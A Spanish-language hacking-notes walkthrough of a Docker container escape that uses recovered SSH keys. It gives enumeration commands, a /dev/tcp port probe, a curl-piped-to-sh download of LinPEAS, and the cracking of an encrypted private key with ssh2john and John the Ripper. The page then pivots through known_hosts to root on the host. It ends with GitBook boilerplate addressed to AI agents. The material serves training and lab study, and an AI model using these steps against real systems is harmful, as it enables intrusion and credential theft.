> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md).

# Escape de Docker (claves SSH) - Escalada de privilegios en Linux

## Qué es

Las vías de escape de Docker abusan de una mala configuración del contenedor, recursos del host montados, credenciales predeterminadas, contraseñas reutilizadas o privilegios excesivos del contenedor. El objetivo es pasar del contexto del contenedor al acceso a nivel de host. Esta página específica se centra en **Escape de Docker (claves SSH)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## Ejemplos

Estamos dentro de un contenedor y usamos el comando para encontrar la dirección del contenedor del lado del host (192.168.150.1). Luego comprobamos si el puerto 22 está abierto en esta máquina.

<figure><img src="/files/5fd18798f896b92eb75b662e83a0c864ffa574e4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1b0c52ba1f69afe75502149b28537e6c17f1cd5c" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="/files/98c8755c872359ddd85a3c151505c6b0087a89d0" alt=""><figcaption></figcaption></figure>

### **Enumeración del sistema (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Usamos LinPEAS para la enumeración de escalada de privilegios:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/abd8df071654347f0fd793ae963f73df27dbcb55" alt=""><figcaption></figcaption></figure>

**Encontramos una carpeta tgz inesperada en el directorio raíz.**

<figure><img src="/files/3b1f13b1fd1dbcd035a60335e950552217f0ad7d" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### **Crackeo de clave privada SSH protegida:**

### Identificación de clave SSH privada

Identificamos un par de claves SSH pública y privada de OpenSSH.

<figure><img src="/files/dd33a6a817991392d2c552ad0ea0edd84447499b" alt=""><figcaption></figcaption></figure>

### Crackeo de la clave privada:

* Observamos que la clave privada está cifrada

<figure><img src="/files/e92abb0ef95c6cc9ec74b16c95e6303fd2762da9" alt=""><figcaption></figcaption></figure>

* Usamos **ssh2john.py** para convertir el contenido del archivo en un hash:

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="/files/a371296e760ab41aa24a4274e6e05a30e83d38b8" alt=""><figcaption></figcaption></figure>

* Luego usamos John the Ripper para romper el hash con un archivo de contraseñas.

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/05febe4de36e39455b85a4d6b5ba1bf1ceb0d139" alt=""><figcaption></figcaption></figure>

### Acceso como root:

Obtenemos acceso a la máquina como root.

<figure><img src="/files/ab8e112e5587f7147b6fda9750ad0752b9d47a0f" alt=""><figcaption></figcaption></figure>

### **Abuso de la confianza en claves SSH para escapar del contenedor:**

Usa el `known_hosts` configuración en el directorio SSH del contenedor para pivotar a otra máquina, lo que nos permite conectarnos al usuario administrador en la máquina host.

<figure><img src="/files/6affae4a4a3931d085f8f1ae5294f750b6e03dc9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e6ddd74cb16eaabf5622fdc8718da52bdd4b0e74" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
